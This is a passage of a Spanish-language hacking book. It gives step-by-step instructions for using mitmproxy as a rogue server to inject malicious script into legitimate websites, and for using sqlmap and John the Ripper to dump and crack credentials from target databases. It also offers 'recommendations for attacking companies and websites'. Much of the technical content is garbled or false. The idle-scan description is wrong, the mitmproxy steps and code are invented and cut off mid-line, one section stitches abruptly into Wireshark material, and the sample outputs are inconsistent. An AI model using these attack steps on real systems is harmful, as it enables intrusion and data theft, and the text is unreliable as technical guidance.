¿Como utilizar mitmproxy para efectuar un servidor rogue para
226
introducir código malicioso en un sitio web?
Para utilizar mitmproxy para efectuar un servidor rogue para
introducir código malicioso en un sitio web legítimo, debes
seguir estos pasos:
Paso 1: Instalar mitmproxy
Para instalar mitmproxy, ejecuta el siguiente
comando en tu terminal:
pip install mitmproxy
Esto instalará mitmproxy en tu sistema.
Paso 2: Iniciar mitmproxy
Para iniciar mitmproxy, ejecuta el siguiente
comando en tu terminal:
mitmproxy
Esto abrirá la interfaz de mitmproxy en tu navegador.
Paso 3: Crear un archivo de configuración para mitmproxy
Para crear un archivo de configuración para mitmproxy, crea un
archivo llamado [Link] en el directorio de tu home. En
este archivo, debes configurar la dirección IP y el puerto de
227
tu servidor rogue.
Por ejemplo, para configurar un servidor rogue en la dirección
IP [Link] y el puerto 8080, debes agregar las
siguientes líneas a tu archivo de configuración:
listen_host = [Link]
listen_port = 8080
Paso 4: Iniciar tu servidor rogue
Para iniciar tu servidor rogue, ejecuta el
siguiente comando en tu terminal:
mitmproxy -c [Link]
Esto iniciará tu servidor rogue en la dirección IP y el puerto
especificados en tu archivo de configuración.
Paso 5: Capturar el tráfico de un sitio web
legítimo
Para capturar el tráfico de un sitio web legítimo, navega a un
sitio web legítimo mientras mitmproxy está en ejecución.
Paso 6: Modificar el tráfico capturado para
introducir código malicioso
Una vez que hayas capturado el tráfico de un sitio web
legítimo, puedes modificarlo para introducir código malicioso.
228
Para ello, utiliza la interfaz de mitmproxy para abrir el
tráfico capturado.
Una vez que hayas abierto el tráfico capturado, puedes
modificarlo para introducir código malicioso. Por ejemplo,
puedes inyectar un script malicioso en el encabezado de la
respuesta.
Paso 7: Enviar el tráfico modificado al navegador
del usuario
Una vez que hayas modificado el tráfico capturado, puedes
enviarlo al navegador del usuario. Para ello, utiliza la
interfaz de mitmproxy para enviar el tráfico modificado.
Una vez que hayas enviado el tráfico modificado, el código
malicioso se ejecutará en el navegador del usuario cuando
visite el sitio web legítimo.
Aquí hay un ejemplo de cómo modificar el tráfico
capturado para introducir código malicioso:
# Captura el tráfico de un sitio web legítimo
mitmproxy -c [Link]
# Abre el tráfico capturado
req = [Link]('[Link]
# Inyecta un script malicioso en el encabezado de la respuesta
229
[Link]['x-injected'] = '<script>alert("¡Inyección
exitosa!");</
Una vez que has capturado el tráfico, puedes comenzar a
analizarlo. El primer paso es filtrar el tráfico para que solo
se muestre el que te interesa. Puedes usar filtros para
filtrar por dirección IP, puerto, protocolo, o cualquier otra
característica del tráfico.
Para filtrar el tráfico, escribe el filtro en la barra de
filtro de Wireshark. Por ejemplo, para filtrar el tráfico
HTTP, escribirías:
http
Esto mostrará solo los paquetes de tráfico HTTP.
Una vez que hayas filtrado el tráfico, puedes comenzar a
explorarlo. Puedes usar las herramientas de Wireshark para ver
los datos de los paquetes, como las direcciones IP, los
puertos, los tipos de datos, y los valores de los campos.
Para explorar el tráfico, haz clic en un paquete para ver los
detalles en el panel de detalles. También puedes usar los
filtros para resaltar el tráfico que te interesa.
Si estás buscando algo específico, puedes usar las
herramientas de búsqueda de Wireshark para encontrar el
tráfico que coincida con tus criterios.
Para buscar tráfico, haz clic en el botón de búsqueda en la
barra de herramientas y escribe tu consulta. Por ejemplo, para
230
buscar todos los paquetes HTTP que van a un servidor
específico, escribirías:
[Link] == [Link]
Una vez que hayas encontrado el tráfico que estás buscando,
puedes guardarlo para analizarlo más tarde.
Para guardar el tráfico, haz clic en el botón de guardar en la
barra de herramientas. Puedes guardar el tráfico como un
archivo de Wireshark (.pcap), un archivo de texto, o un
archivo de otro formato.
Capítulo 19:
Escaneo de Idle
¿Qué es el escaneo de inactividad?
231
El escaneo de inactividad es un método para detectar hosts
activos en una red. Funciona enviando paquetes de datos sin
datos útiles a un rango de direcciones IP. Si un host responde
a un paquete de inactividad, se considera activo.
¿Cómo funciona el escaneo de inactividad?
El escaneo de inactividad funciona enviando paquetes de datos
a un rango de direcciones IP. Estos paquetes de datos no
contienen ningún dato útil, sino que solo están diseñados para
provocar una respuesta del host.
Hay dos tipos principales de paquetes de
inactividad:
Paquetes ICMP Echo Request: Estos paquetes se utilizan para
enviar una solicitud de eco a un host. Si el host está activo,
responderá con un paquete ICMP Echo Reply.
Paquetes TCP SYN: Estos paquetes se utilizan para iniciar una
conexión TCP con un host. Si el host está activo, responderá
con un paquete TCP SYN+ACK.
¿Cuáles son los tipos de escaneo de inactividad?
Hay dos tipos principales de escaneo de
inactividad:
Escaneo de inactividad simple: Este tipo de escaneo envía un
solo tipo de paquete de inactividad a cada dirección IP.
232
Escaneo de inactividad compuesto: Este tipo de escaneo envía
varios tipos de paquetes de inactividad a cada dirección IP.
Esto ayuda a mejorar la precisión del escaneo, ya que es menos
probable que un host responda a todos los tipos de paquetes de
inactividad.
¿Cuáles son las ventajas y desventajas del
escaneo de inactividad?
Ventajas:
El escaneo de inactividad es un método rápido y eficiente para
detectar hosts activos.
El escaneo de inactividad es difícil de detectar por los hosts
activos.
Desventajas:
El escaneo de inactividad puede generar tráfico innecesario en
la red.
El escaneo de inactividad puede ser menos preciso que otros
métodos de escaneo.
¿Cómo se puede implementar un escáner de
inactividad en una herramienta de red?
Un escáner de inactividad se puede implementar en una
herramienta de red utilizando las siguientes técnicas:
233
Enviar paquetes de datos sin datos útiles a un rango de
direcciones IP.
Verificar la respuesta del host a los paquetes de inactividad.
Registrar los hosts activos.
Estas técnicas se pueden implementar utilizando el lenguaje de
programación de la herramienta de red.
Ejemplo de implementación en Python:
import socket
def scan_inactivity(ip_range):
for ip in ip_range:
# Enviar un paquete ICMP Echo Request
try:
s = [Link](socket.AF_INET, socket.SOCK_RAW,
socket.IPPROTO_ICMP)
[Link](b'\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00',
(ip, 8))
response = [Link](1024)
except [Link]:
pass
else:
# El host está activo
234
print(ip)
# Rango de direcciones IP a escanear
ip_range = ['[Link]', '[Link]', '[Link]']
# Iniciar el escaneo
scan_inactivity(ip_range)
Este ejemplo de código envía un paquete ICMP Echo Request a
cada dirección IP en el rango especificado. Si el host
responde con un paquete ICMP Echo Reply, se considera activo.
Los hosts activos se imprimen en la consola.
Otras técnicas de implementación:
Usar una biblioteca de escaneo de inactividad. Hay varias
bibliotecas disponibles para implementar el escaneo de
inactividad en una herramienta de red. Estas bibliotecas
proporcionan una API de alto nivel que simplifica el proceso
de implementación.
Usar un lenguaje de programación diferente. Las técnicas
descritas anteriormente se pueden implementar en cualquier
lenguaje de programación que admita sockets.
¿Cómo se puede automatizar el escaneo de
inactividad utilizando Nmap?
235
Para automatizar el escaneo de inactividad
utilizando Nmap, necesitas los siguientes
elementos:
Un servidor con acceso a la red que se va a escanear.
Nmap instalado en el servidor.
Un cron job o una herramienta de programación de tareas para
ejecutar el escaneo de forma automática.
Pasos para automatizar el escaneo de inactividad
utilizando Nmap:
Cree un script que utilice la opción -sI o -sS de Nmap.
La opción -sI utiliza paquetes ICMP Echo Request para detectar
hosts activos. La opción -sS utiliza paquetes TCP SYN para
detectar hosts activos.
El siguiente script escanea un rango de direcciones IP
utilizando paquetes ICMP Echo Request:
#!/bin/bash
# Rango de direcciones IP a escanear
ip_range="[Link]/24"
236
# Ejecutar el escaneo de inactividad
nmap -sI $ip_range
Guarde el script en un archivo.
Por ejemplo, guarde el script anterior como
scan_inactivity.sh.
Configure el cron job o la herramienta de programación de
tareas para ejecutar el script.
Por ejemplo, para ejecutar el script cada hora, puede utilizar
el siguiente cron job:
0 * * * * /bin/bash /path/to/scan_inactivity.sh
Ejemplo de cron job:
0 * * * * /bin/bash /home/user/scan_inactivity.sh
Este cron job ejecutará el script scan_inactivity.sh cada
hora.
Otras consideraciones:
Utilice un rango de direcciones IP adecuado. El rango de
direcciones IP que escanee debe ser relevante para su red.
237
Ejecute el escaneo en intervalos regulares. Esto le ayudará a
detectar hosts activos nuevos o hosts activos que se han
vuelto inactivos.
Registre los resultados del escaneo. Esto le permitirá
realizar un seguimiento de los cambios en su red.
Parte VI: Hacking
de Servidores de
Bases de Datos
¿Qué es una base de datos?
238
Una base de datos es una colección organizada de datos que se
almacenan de forma electrónica. Los datos se organizan en
tablas, que están compuestas por filas y columnas. Cada fila
representa un registro, que es una unidad de datos individual.
Cada columna representa un atributo, que es un campo de datos
específico.
Las bases de datos se utilizan para almacenar una gran
cantidad de datos de forma eficiente. Esto permite a las
organizaciones acceder a los datos rápidamente y fácilmente.
Las bases de datos se utilizan en una amplia gama de
aplicaciones, como administración de clientes, administración
de inventario, análisis de datos y comercio electrónico.
¿Para qué sirve una base de datos?
Las bases de datos se utilizan para una variedad
de propósitos, que incluyen:
Almacenar datos: Las bases de datos se utilizan para almacenar
datos de forma segura y eficiente.
Acceso a datos: Las bases de datos permiten a los usuarios
acceder a los datos rápidamente y fácilmente.
Mantenimiento de datos: Las bases de datos permiten a los
usuarios actualizar, eliminar y agregar datos.
Análisis de datos: Las bases de datos se pueden utilizar para
analizar datos para obtener información.
Seguridad: Las bases de datos se pueden utilizar para proteger
datos de acceso no autorizado.
239
¿Cómo se crean las bases de datos?
El proceso de creación de una base de datos se denomina diseño
de base de datos. El diseño de base de datos implica la
definición de los datos que se almacenarán en la base de
datos, la estructura de la base de datos y las reglas que
rigen el acceso a los datos.
El proceso de diseño de base de datos se puede dividir en las
siguientes etapas:
Recolección de requisitos: En esta etapa, se recopilan los
requisitos para la base de datos. Los requisitos pueden ser
proporcionados por los usuarios o por los analistas de
sistemas.
Diseño conceptual: En esta etapa, se crea un modelo conceptual
de la base de datos. El modelo conceptual es una
representación abstracta de los datos que se almacenarán en la
base de datos.
Diseño lógico: En esta etapa, se crea un modelo lógico de la
base de datos. El modelo lógico es una representación
detallada de los datos que se almacenarán en la base de datos.
Diseño físico: En esta etapa, se crea un modelo físico de la
base de datos. El modelo físico es una representación de cómo
se almacenarán los datos en el sistema de almacenamiento.
Una vez que se ha completado el proceso de diseño de base de
datos, se puede crear la base de datos utilizando un sistema
de gestión de bases de datos (SGBD). Un SGBD es un software
que proporciona las herramientas y los servicios necesarios
para crear, administrar y acceder a las bases de datos.
240
¿Qué es una base de datos relacional?
Una base de datos relacional es un tipo de base de datos en la
que los datos se organizan en tablas. Las tablas están
relacionadas entre sí mediante claves foráneas. Las claves
foráneas son columnas que hacen referencia a las claves
primarias de otras tablas.
Las bases de datos relacionales son el tipo de base de datos
más común. Son utilizadas por una amplia gama de aplicaciones,
como administración de clientes, administración de inventario
y análisis de datos.
¿Qué es un modelo de datos?
Un modelo de datos es una representación abstracta de los
datos que se almacenarán en una base de datos. Los modelos de
datos se utilizan para comunicar los requisitos de la base de
datos a los desarrolladores.
Hay dos tipos principales de modelos de datos: modelos
conceptuales y modelos lógicos.
Modelos conceptuales: Los modelos conceptuales son una
representación abstracta de los datos que se almacenarán en la
base de datos. No están restringidos por las limitaciones del
sistema de almacenamiento.
Modelos lógicos: Los modelos lógicos son una representación
detallada de los datos que se almacenarán en la base de datos.
Se basan en las restricciones del sistema de almacenamiento.
¿Cómo se relaciona la base de datos con la
241
programación?
La base de datos es una parte integral de la programación. Los
programas de computadora utilizan las bases de datos para
almacenar y acceder a los datos.
Los programadores utilizan lenguajes de programación para
interactuar con las bases de datos. Los lenguajes de
programación proporcionan funciones y bibliotecas que permiten
a los programadores crear aplicaciones que accedan a las bases
de datos.
Técnicas de ataque a bases de datos
Las bases de datos son un objetivo común para los atacantes.
Los atacantes pueden utilizar una variedad de técnicas para
acceder a los datos de una base de datos, incluidos:
Explotación de vulnerabilidades: Los atacantes pueden
aprovechar las vulnerabilidades de seguridad en el software de
la base de datos o en el sistema operativo del servidor.
Ingeniería social: Los atacantes pueden engañar a los usuarios
para que revelen sus credenciales de acceso o para que
descarguen malware.
Ataques de fuerza bruta: Los atacantes pueden intentar
adivinar las contraseñas de los usuarios utilizando
herramientas de fuerza bruta.
Infiltración: Los atacantes pueden obtener acceso a un
servidor de base de datos a través de una vulnerabilidad en
otro sistema en la red.
242
Técnicas de ataque más efectivas
Las técnicas de ataque más efectivas son aquellas que son
difíciles de detectar y mitigar. Estas técnicas incluyen:
Explotación de vulnerabilidades: Las vulnerabilidades de
seguridad en el software de la base de datos son una fuente
importante de ataques. Los atacantes pueden utilizar estas
vulnerabilidades para obtener acceso no autorizado a la base
de datos.
Ingeniería social: La ingeniería social es una técnica que
utiliza la manipulación psicológica para engañar a las
personas para que revelen información confidencial. Los
atacantes pueden utilizar la ingeniería social para obtener
las credenciales de acceso a una base de datos.
Ataques de fuerza bruta: Los ataques de fuerza bruta son un
método simple pero eficaz para obtener acceso a una base de
datos. Los atacantes utilizan herramientas de fuerza bruta
para probar una gran cantidad de contraseñas posibles hasta
que encuentran una que coincida.
Recomendaciones para atacar empresas y páginas
web
Para atacar empresas y páginas web, es importante elegir una
técnica de ataque que sea efectiva contra el objetivo
específico. Las siguientes son algunas recomendaciones:
Investiga el objetivo: Antes de atacar, es importante
investigar el objetivo para identificar vulnerabilidades. Esto
puede hacerse utilizando herramientas de escaneo de
vulnerabilidades o realizando una auditoría de seguridad.
243
Elige la técnica de ataque adecuada: Una vez que hayas
identificado vulnerabilidades, elige la técnica de ataque
adecuada para explotarlas.
Sé paciente: Los ataques a bases de datos pueden ser difíciles
de ejecutar. Es importante ser paciente y persistente para
tener éxito.
Tecnologías y herramientas
Hay una variedad de tecnologías y herramientas disponibles
para los atacantes que desean atacar bases de datos. Estas
tecnologías y herramientas incluyen:
Explotadores: Los explotadores son herramientas que se
utilizan para explotar vulnerabilidades en el software de la
base de datos.
Herramientas de ingeniería social: Las herramientas de
ingeniería social se utilizan para engañar a las personas para
que revelen información confidencial.
Herramientas de fuerza bruta: Las herramientas de fuerza bruta
se utilizan para probar una gran cantidad de contraseñas
posibles.
Obtener Acceso a Bases de Datos con SQLmap
Paso 1: Instalar SQLMap
Para instalar SQLMap en Kali Linux, ejecute el siguiente
244
comando:
sudo apt install sqlmap
Paso 2: Escanear el objetivo en busca de
vulnerabilidades SQL
Para escanear el objetivo en busca de vulnerabilidades SQL,
ejecute el siguiente comando:
sqlmap -u <URL> --dbs
Este comando enumerará todas las bases de datos que se
encuentran en el objetivo.
Paso 3: Explotar la vulnerabilidad SQL para
obtener acceso a la base de datos
Para explotar la vulnerabilidad SQL y obtener acceso a la base
de datos, ejecute el siguiente comando:
sqlmap -u <URL> -D <DATABASE> -T <TABLE> -C <COLUMN> --dump
Este comando extraerá todos los datos de la tabla especificada
en la base de datos especificada.
Paso 4: Leer la base de datos con comandos
Una vez que haya obtenido acceso a la base de datos, puede
leerla utilizando comandos SQL. Por ejemplo, para ver todos
245
los registros de la tabla especificada, ejecute el siguiente
comando:
SELECT * FROM <TABLE>;
Para ver un registro específico de la tabla especificada,
ejecute el siguiente comando:
SELECT * FROM <TABLE> WHERE <COLUMN> = <VALUE>;
Ejemplo
Suponga que tiene un objetivo con la siguiente URL:
[Link]
Ejecute el siguiente comando para escanear el objetivo en
busca de vulnerabilidades SQL:
sqlmap -u [Link] --dbs
Este comando enumerará todas las bases de datos que se
encuentran en el objetivo. En este caso, la única base de
datos es test.
Ejecute el siguiente comando para explotar la vulnerabilidad
SQL y obtener acceso a la base de datos test:
sqlmap -u [Link] -D test -T users -C
username --dump
246
Este comando extraerá todos los datos de la tabla users en la
base de datos test.
Ejecute el siguiente comando para ver todos los registros de
la tabla users:
SELECT * FROM users;
Este comando devolverá la siguiente salida:
id | username | password
-- | -------- | --------
1 | admin | password
2 | user1 | user1_password
3 | user2 | user2_password
Ejecute el siguiente comando para ver el registro específico
con el ID 1:
SELECT * FROM users WHERE id = 1;
Este comando devolverá la siguiente salida:
id | username | password
-- | -------- | --------
1 | admin | password
247
Capítulo 21:
Bases de Datos
Encriptadas
¿Qué es una base de datos encriptada?
Una base de datos encriptada es una base de datos en la que
los datos se cifran antes de almacenarse. El cifrado es un
proceso que convierte los datos en un formato ilegible sin una
clave de descifrado.
¿Para qué sirve encriptar una base de datos?
La encriptación de bases de datos sirve para proteger los
248
datos de acceso no autorizado. Si los datos están encriptados,
un atacante no podrá leerlos sin la clave de descifrado.
¿Cómo se encriptan las bases de datos y con qué
herramientas?
Las bases de datos se pueden encriptar utilizando una variedad
de métodos. Un método común es utilizar un algoritmo de
cifrado simétrico, como AES o DES. En este método, se utiliza
la misma clave para cifrar y descifrar los datos.
Otra forma de encriptar bases de datos es utilizar un
algoritmo de cifrado asimétrico, como RSA o ECDSA. En este
método, se utilizan dos claves, una clave pública y una clave
privada. La clave pública se utiliza para cifrar los datos,
mientras que la clave privada se utiliza para descifrarlos.
Hay una variedad de herramientas disponibles para encriptar
bases de datos. Algunas de las herramientas más populares
incluyen:
OpenSSL: OpenSSL es una biblioteca de software de código
abierto que proporciona una variedad de funciones de
seguridad, incluida la encriptación de bases de datos.
MySQL Workbench: MySQL Workbench es una herramienta de
administración de bases de datos de código abierto que
proporciona una función de encriptación de bases de datos.
PostgreSQL: PostgreSQL es un sistema de gestión de bases de
datos relacional de código abierto que proporciona una función
de encriptación de bases de datos.
¿Que Heramientas se utilizar para penetrar una
249
base de datos encriptada?
Hay una serie de scripts que se pueden utilizar para penetrar
una base de datos encriptada y poder leerla. Estos scripts
aprovechan las vulnerabilidades en el software de base de
datos o en el sistema operativo del servidor para obtener
acceso a la base de datos.
Algunos de los scripts más populares para penetrar bases de
datos encriptadas incluyen:
SQLMap: SQLMap es una herramienta de pruebas de penetración
que se utiliza para explotar vulnerabilidades SQL. SQLMap
puede utilizarse para obtener acceso a una base de datos
encriptada si la base de datos utiliza un algoritmo de cifrado
simétrico.
John the Ripper: John the Ripper es una herramienta de fuerza
bruta que se utiliza para adivinar contraseñas. John the
Ripper puede utilizarse para obtener la clave de descifrado de
una base de datos encriptada si la base de datos utiliza un
algoritmo de cifrado simétrico.
hashcat: hashcat es una herramienta de fuerza bruta que se
utiliza para adivinar contraseñas y hash. hashcat puede
utilizarse para obtener la clave de descifrado de una base de
datos encriptada si la base de datos utiliza un algoritmo de
cifrado asimétrico.
Además de estos scripts, hay una serie de técnicas que se
pueden utilizar para penetrar bases de datos encriptadas:
Explotación de vulnerabilidades: Los atacantes pueden
aprovechar las vulnerabilidades en el software de base de
datos o en el sistema operativo del servidor para obtener
acceso a la base de datos.
250
Ingeniería social: Los atacantes pueden engañar a los usuarios
para que revelen información confidencial, como la clave de
descifrado.
Ataques de fuerza bruta: Los atacantes pueden intentar
adivinar la clave de descifrado utilizando herramientas de
fuerza bruta.
¿Como penetrar y desencriptar una base de datos
con SQLMap?
Para penetrar y desencriptar una base de datos con SQLMap,
debes seguir estos pasos:
Instalar SQLMap.
Identificar el servidor web y la base de datos objetivo.
Iniciar una sesión con SQLMap.
Ejecutar un ataque de inyección SQL.
Obtener la información de la base de datos.
Desencriptar la información de la base de datos.
Paso 1: Instalar SQLMap
SQLMap se puede instalar en la mayoría de los sistemas
operativos. Para instalarlo en Linux, ejecuta los siguientes
comandos:
sudo apt-get install sqlmap
251
Para instalarlo en Windows, descarga el archivo de instalación
de la página web de SQLMap.
Paso 2: Identificar el servidor web y la base de
datos objetivo
Para identificar el servidor web y la base de datos objetivo,
puedes utilizar un escáner de vulnerabilidades web como Nessus
o Nmap.
Una vez que hayas identificado el servidor web y la base de
datos objetivo, puedes utilizar la siguiente consulta para
verificar si la base de datos es vulnerable a ataques de
inyección SQL:
sqlmap -u [Link] -p "password" --dbs
Esta consulta enumerará todas las bases de datos disponibles
en el servidor web objetivo.
Paso 3: Iniciar una sesión con SQLMap
Para iniciar una sesión con SQLMap, ejecuta el siguiente
comando:
sqlmap -u [Link] -p "password" --
dbms="mysql" --table="users"
Este comando establecerá una sesión con la base de datos
"users" del servidor web objetivo.
252
Paso 4: Ejecutar un ataque de inyección SQL
Para ejecutar un ataque de inyección SQL, utiliza el siguiente
comando:
sqlmap -u [Link] -p "password" --
dbms="mysql" --table="users" --column="password" --dump
Este comando descargará la información de la columna
"password" de la tabla "users" de la base de datos objetivo.
Paso 5: Obtener la información de la base de
datos
La información de la base de datos se descargará en un archivo
con el nombre "[Link]".
Paso 6: Desencriptar la información de la base de
datos
Si la información de la base de datos está encriptada, puedes
utilizar la siguiente herramienta para desencriptarla:
john --wordlist=/usr/share/wordlists/[Link] [Link]
Esta herramienta utilizará la lista de palabras "[Link]"
para intentar desencriptar la información de la base de datos.
Ejemplo
253
Supongamos que el servidor web objetivo es "[Link]" y
la base de datos objetivo es "users". La contraseña para la
base de datos es "password".
Para identificar el servidor web y la base de datos objetivo,
ejecuta el siguiente comando:
nmap -sV [Link]
Este comando devolverá el siguiente resultado:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.37 ((Ubuntu))
Esto indica que el servidor web objetivo es Apache y que la
base de datos es MySQL.
Para verificar si la base de datos es vulnerable a ataques de
inyección SQL, ejecuta el siguiente comando:
sqlmap -u [Link] -p "password" --dbs
Este comando devolverá el siguiente resultado:
[!] Warning: Database may be down.
[!] Warning: Database may be down.
[1] information_schema
[2] mysql
[3] test
254
Esto indica que la base de datos tiene tres tablas:
"information_schema", "mysql" y "test".
Para iniciar una sesión con la base de datos "users", ejecuta
el siguiente comando:
sqlmap -u [Link] -p "password" --
dbms="mysql" --table="users"
Este comando devolverá el siguiente resultado:
[!] Warning: Database may be down.
[!] Warning: Database may be down.
[!] Database: information_schema
[!] Table: tables
[!] Column: table_name
[!] Type: string
[!] Size:```
Capítulo 22:
255
Auditoría Selectiva
de Oracle
¿Que es la auditorìa selectiva?
La auditoría selectiva es una técnica de auditoría que permite
a los auditores centrarse en los datos y las transacciones que
son más relevantes para sus objetivos de auditoría. En el
contexto de Oracle, la auditoría selectiva se puede utilizar
para auditar los siguientes elementos:
Tablas: Las tablas son las unidades básicas de almacenamiento
de datos en Oracle. Los auditores pueden auditar las tablas
para verificar la integridad de los datos, detectar cambios no
autorizados y garantizar el cumplimiento de las políticas.
Columnas: Las columnas son las unidades de datos individuales
que se almacenan en una tabla. Los auditores pueden auditar
las columnas para verificar la precisión de los datos,
detectar cambios no autorizados y garantizar el cumplimiento
de las restricciones de datos.
256
Transacciones: Las transacciones son unidades de trabajo
lógicas que se realizan en una base de datos. Los auditores
pueden auditar las transacciones para verificar la integridad
de los datos, detectar cambios no autorizados y garantizar el
cumplimiento de los controles de negocio.
Herramientas de auditoría selectiva
Oracle proporciona una serie de herramientas que pueden
utilizarse para realizar auditorías selectivas. Estas
herramientas incluyen:
AUDIT: El comando AUDIT se utiliza para establecer políticas
de auditoría para tablas, columnas y transacciones.
DBMS_AUDIT: El paquete DBMS_AUDIT se utiliza para realizar
auditorías selectivas de forma programática.
Oracle Audit Vault and Database Firewall (AVDF): AVDF es una
solución de auditoría integrada que proporciona una amplia
gama de capacidades de auditoría selectiva.
Proceso de auditoría selectiva
El proceso de auditoría selectiva consta de los siguientes
pasos:
Definición de objetivos de auditoría: El primer paso es
definir los objetivos de auditoría que se desea alcanzar.
Estos objetivos pueden estar relacionados con la integridad de
los datos, el cumplimiento de las políticas o la detección de
cambios no autorizados.
257
Identificación de datos y transacciones relevantes: El
siguiente paso es identificar los datos y las transacciones
que son relevantes para los objetivos de auditoría.
Diseño de políticas de auditoría: El tercer paso es diseñar
políticas de auditoría que permitan auditar los datos y las
transacciones relevantes.
Implementación de políticas de auditoría: El cuarto paso es
implementar las políticas de auditoría en la base de datos.
Análisis de registros de auditoría: El quinto paso es analizar
los registros de auditoría para identificar cualquier evento
sospechoso.
Ejemplo de auditoría selectiva
Supongamos que un auditor desea auditar las transacciones de
ventas en una base de datos de Oracle. El auditor define los
siguientes objetivos de auditoría:
Verificar la integridad de los datos de ventas: El auditor
desea asegurarse de que los datos de ventas son precisos y
completos.
Detectar cambios no autorizados en los datos de ventas: El
auditor desea detectar cualquier cambio no autorizado en los
datos de ventas.
Garantizar el cumplimiento de las políticas de ventas: El
auditor desea garantizar que las transacciones de ventas
cumplan con las políticas de ventas.
258
El auditor identifica las siguientes
transacciones de ventas como relevantes para sus
objetivos de auditoría:
Creación de una nueva venta: Esta transacción crea una nueva
fila en la tabla de ventas.
Actualización de una venta existente: Esta transacción
actualiza una fila existente en la tabla de ventas.
Eliminación de una venta: Esta transacción elimina una fila de
la tabla de ventas.
El auditor diseña las siguientes políticas de
auditoría para auditar las transacciones de
ventas:
AUDIT INSERT ON sales FOR ALL COLUMNS;
AUDIT UPDATE ON sales FOR ALL COLUMNS;
AUDIT DELETE ON sales;
El auditor implementa las políticas de auditoría en la base de
datos.
El auditor analiza los registros de auditoría para identificar
cualquier evento sospechoso.
259
Capítulo 23:
Análisis de
Seguridad y
Estructura de las
Bases de Datos
¿Que es un análisis de seguridad y estructura de
las bases de datos?
El análisis de seguridad y estructura de las bases de datos es
260
un proceso que permite a los auditores evaluar la seguridad y
la estructura de una base de datos. Este análisis se puede
realizar para identificar vulnerabilidades de seguridad,
garantizar el cumplimiento de las políticas de seguridad y
mejorar la eficiencia y la eficacia de la base de datos.
Objetivos del análisis de seguridad y estructura
de las bases de datos
Los objetivos del análisis de seguridad y estructura de las
bases de datos son los siguientes:
Identificar vulnerabilidades de seguridad: El análisis debe
identificar las vulnerabilidades de seguridad que podrían ser
explotadas por un atacante para comprometer la base de datos.
Garantizar el cumplimiento de las políticas de seguridad: El
análisis debe garantizar que la base de datos cumple con las
políticas de seguridad de la organización.
Mejorar la eficiencia y la eficacia de la base de datos: El
análisis debe identificar oportunidades para mejorar la
eficiencia y la eficacia de la base de datos.
Métodos de análisis de seguridad y estructura de
las bases de datos
El análisis de seguridad y estructura de las bases de datos se
puede realizar utilizando una variedad de métodos, que
incluyen:
Revisión de la documentación: La documentación de la base de
datos, como el esquema de la base de datos y los
procedimientos de seguridad, debe revisarse para identificar
261
cualquier vulnerabilidad o problema de cumplimiento.
Pruebas de penetración: Las pruebas de penetración se utilizan
para identificar vulnerabilidades de seguridad mediante la
simulación de un ataque.
Análisis de código: El análisis de código se utiliza para
identificar vulnerabilidades de seguridad en el código de la
base de datos.
Análisis de datos: El análisis de datos se utiliza para
identificar patrones de uso de la base de datos que podrían
indicar un problema de seguridad.
Proceso de análisis de seguridad y estructura de
las bases de datos
El proceso de análisis de seguridad y estructura de las bases
de datos consta de los siguientes pasos:
Planificación: El primer paso es planificar el análisis. Esto
incluye definir los objetivos del análisis, identificar los
métodos que se utilizarán y recopilar información sobre la
base de datos.
Ejecución: El siguiente paso es ejecutar el análisis. Esto
incluye realizar las pruebas, el análisis de código y el
análisis de datos.
Presentación de resultados: El último paso es presentar los
resultados del análisis a los responsables.
262
Conclusiones
El análisis de seguridad y estructura de las bases de datos es
una herramienta importante para proteger las bases de datos de
las vulnerabilidades de seguridad. Al realizar este análisis
de forma periódica, las organizaciones pueden mejorar la
seguridad de sus bases de datos y reducir el riesgo de sufrir
un ataque.
Herramientas de análisis de seguridad y
estructura de las bases de datos
Existen una variedad de herramientas que pueden utilizarse
para realizar análisis de seguridad y estructura de las bases
de datos. Estas herramientas incluyen:
SQL Server Audit: SQL Server Audit es una herramienta
integrada en SQL Server que permite a los auditores auditar
las transacciones en una base de datos.
Oracle Audit Vault and Database Firewall (AVDF): AVDF es una
solución de auditoría integrada que proporciona una amplia
gama de capacidades de auditoría, incluyendo análisis de
seguridad y estructura de bases de datos.
Datadog: Datadog es una plataforma de monitoreo y
observabilidad que proporciona una variedad de herramientas
para analizar el rendimiento y la seguridad de las bases de
datos.
SolarWinds Database Performance Analyzer: SolarWinds Database
Performance Analyzer es una herramienta de análisis de
rendimiento de bases de datos que también proporciona
capacidades de análisis de seguridad.
263
Recomendaciones
Las siguientes son algunas recomendaciones para realizar
análisis de seguridad y estructura de las bases de datos de
forma eficaz:
Realizar el análisis de forma periódica: El análisis de
seguridad y estructura de las bases de datos debe realizarse
de forma periódica para identificar cualquier nueva
vulnerabilidad o problema de cumplimiento.
Utilizar una variedad de métodos: El uso de una variedad de
métodos de análisis ayudará a identificar un rango más amplio
de vulnerabilidades.
Involucrar a los expertos: Si no se tiene experiencia en
análisis de seguridad y estructura de bases de datos, es
recomendable involucrar a un experto.
Análisis de amenazas
El análisis de amenazas es un proceso que ayuda a identificar
los riesgos potenciales que podrían afectar a una base de
datos. Este análisis se puede realizar utilizando una variedad
de técnicas, como la identificación de vulnerabilidades, la
evaluación de los riesgos de seguridad y la identificación de
los objetivos potenciales de los atacantes.
Análisis forense
El análisis forense es un proceso que se utiliza para
recopilar y analizar datos para determinar la causa de un
incidente de seguridad. Este análisis puede ser útil para
264
identificar vulnerabilidades que no se detectaron en el
análisis de seguridad y estructura.
Análisis de comportamiento
El análisis de comportamiento es un proceso que se utiliza
para identificar patrones de uso que podrían indicar un
ataque. Este análisis puede ser útil para detectar ataques de
forma proactiva antes de que causen daños.
Medidas avanzadas específicas
Además de las medidas generales de análisis de seguridad y
estructura, existen una serie de medidas avanzadas que pueden
utilizarse para mejorar aún más la seguridad de las bases de
datos. Estas medidas incluyen:
Utilización de una herramienta de detección de anomalías para
identificar patrones de uso sospechosos.
Análisis de los registros de auditoría para identificar
patrones de acceso no autorizados.
Utilización de un escáner de vulnerabilidades para identificar
vulnerabilidades en el código de la base de datos.
Realización de pruebas de penetración utilizando técnicas
avanzadas, como la ingeniería social o el ataque de día cero.
Automatización del análisis
La automatización puede ayudar a las organizaciones a realizar
265
análisis de forma más eficiente y eficaz. La automatización
puede utilizarse para automatizar el proceso de planificación
y ejecución del análisis, la recopilación y análisis de datos,
y la generación de informes de los resultados del análisis.
Parte VII:
Algoritmos
Criptográficos
266
Introducción
La criptografía es el proceso de convertir información en un
formato ininteligible para que solo las personas autorizadas
puedan acceder a ella. Los algoritmos criptográficos son las
fórmulas matemáticas que se utilizan para realizar este
proceso.
En esta parte del libro, se discutirán los conceptos básicos
